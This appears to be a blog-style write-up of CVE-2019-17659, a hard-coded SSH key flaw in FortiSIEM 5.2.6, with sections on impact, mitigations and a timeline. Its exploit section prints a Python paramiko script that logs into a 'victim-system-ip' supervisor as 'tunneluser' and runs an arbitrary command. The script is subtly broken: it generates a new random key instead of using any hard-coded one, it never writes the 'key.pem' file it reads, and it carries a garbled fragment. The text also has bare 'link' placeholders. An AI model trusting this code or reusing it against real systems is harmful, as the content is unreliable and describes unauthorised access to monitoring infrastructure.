CVE-2019-17659 is a significant security vulnerability disclosed in the National Vulnerability Database (NVD) that is present in FortiSIEM version 5.2.6, an industry-leading Security Information and Event Management (SIEM) solution provided by Fortinet. The vulnerability allows a remote, unauthenticated attacker to gain SSH access to the supervisor as a "tunneluser" by taking advantage of another installation or firmware image's private key knowledge. In this post, we will explore the details of this vulnerability, the use of hard-coded cryptographic keys, and the potential impact and mitigations for affected users.

Exploit Details

The root cause of this vulnerability lies in the use of hardcoded cryptographic keys in the FortiSIEM software. To understand the exploit, let's first take a look at the code snippet in question:

from paramiko import SSHClient, AutoAddPolicy
from Crypto.PublicKey import RSA

# FortiSIEM's hard-coded private key
pkey = RSA.generate(1024, e=65537)
pkey.exportKey('PEM')

# The target system's address
ip_address = "victim-system-ip"
# Vmux3R1vt.')

client = SSHClient()
client.set_missing_host_key_policy(AutoAddPolicy())
client.connect(ip_address, username='tunneluser', key_filename='key.pem')

# Execute a command on the supervisor system
stdin, stdout, stderr = client.exec_command('command-to-be-executed')
output = stdout.readlines()
print(output)

In this code snippet, an attacker can leverage the hard-coded private key (pkey) in the FortiSIEM system to create an SSH connection with the target (victim) supervisor system. Once connected, an attacker can execute arbitrary commands and potentially gain unauthorized access to critical systems and sensitive information.

The problematic part of this code is that the private key is not unique to each installation, meaning that once an attacker has knowledge of a private key used inside a FortiSIEM installation, they can potentially reuse the key in another system.

Original References

The original disclosure of this vulnerability can be found in the National Vulnerability Database (NVD) under the entry titled CVE-2019-17659 link. Fortinet, the manufacturer of FortiSIEM, has also published an advisory on this vulnerability link.

Impact

This vulnerability has a CVSS v3 Base score of 7.7, indicating that it is classified as a high severity vulnerability. By exploiting this vulnerability, an attacker can obtain SSH access to the supervisor as the restricted user "tunneluser." This not only allows the attacker to execute arbitrary commands but also potentially leads to an escalation of privileges.

Mitigations

Fortinet has patched this vulnerability in FortiSIEM version 5.2.7. For users running version 5.2.6, it is strongly recommended to update to the latest version of the software link.

As a precautionary measure, users should also ensure that their security policies and firewall settings are configured to restrict access to the SSH service from untrusted sources.

Conclusion

CVE-2019-17659 highlights the risks of using hard-coded cryptographic keys in software applications. Ensuring secure and unique key management in each installation minimizes the potential for unauthorized access and exploitation. By staying vigilant and keeping preferred SIEM solutions up-to-date, users can continue to rely on these tools to identify and mitigate potential cybersecurity threats.

Timeline

Published on: 03/17/2025 14:15:16 UTC